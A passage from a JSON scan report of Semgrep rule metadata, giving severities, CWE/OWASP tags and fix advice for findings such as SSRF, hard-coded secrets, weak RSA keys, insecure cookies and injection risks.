generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"help":{"markdown":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect","id":"generic.nginx.security.insecure-redirect.insecure-redirect","name":"generic.nginx.security.insecure-redirect.insecure-redirect","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-redirect.insecure-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","id":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","name":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","id":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","name":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"help":{"markdown":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/network-security](https://docs.microsoft.com/en-us/azure/key-vault/general/network-security)\n","text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","id":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","name":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"help":{"markdown":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root)\n - [https://github.com/hadolint/hadolint/wiki/DL3002](https://github.com/hadolint/hadolint/wiki/DL3002)\n","text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root","id":"dockerfile.security.last-user-is-root.last-user-is-root","name":"dockerfile.security.last-user-is-root.last-user-is-root","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.last-user-is-root.last-user-is-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"help":{"markdown":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings)\n - [https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies](https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL)\n","text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","id":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","name":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"help":{"markdown":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics","id":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","name":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.local-biometrics.insecure-biometrics"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)\n - [https://guides.rubyonrails.org/security.html#command-line-injection](https://guides.rubyonrails.org/security.html#command-line-injection)\n","text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec","id":"ruby.lang.security.dangerous-exec.dangerous-exec","name":"ruby.lang.security.dangerous-exec.dangerous-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-exec.dangerous-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"help":{"markdown":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag)\n - [https://www.developsec.com/2017/11/09/xss-in-a-script-tag/](https://www.developsec.com/2017/11/09/xss-in-a-script-tag/)\n - [https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68](https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68)\n","text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","id":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","name":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","id":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","name":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","id":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","name":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"help":{"markdown":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","id":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","name":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"help":{"markdown":"If unverified user data can reach the `exec` method it can result in Remote Code Execution\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"helpUri":"https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","id":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","name":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSH Password detected"},"help":{"markdown":"SSH Password detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SSH Password detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password","id":"generic.secrets.security.detected-ssh-password.detected-ssh-password","name":"generic.secrets.security.detected-ssh-password.detected-ssh-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-ssh-password.detected-ssh-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2)\n","text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","id":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","name":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH 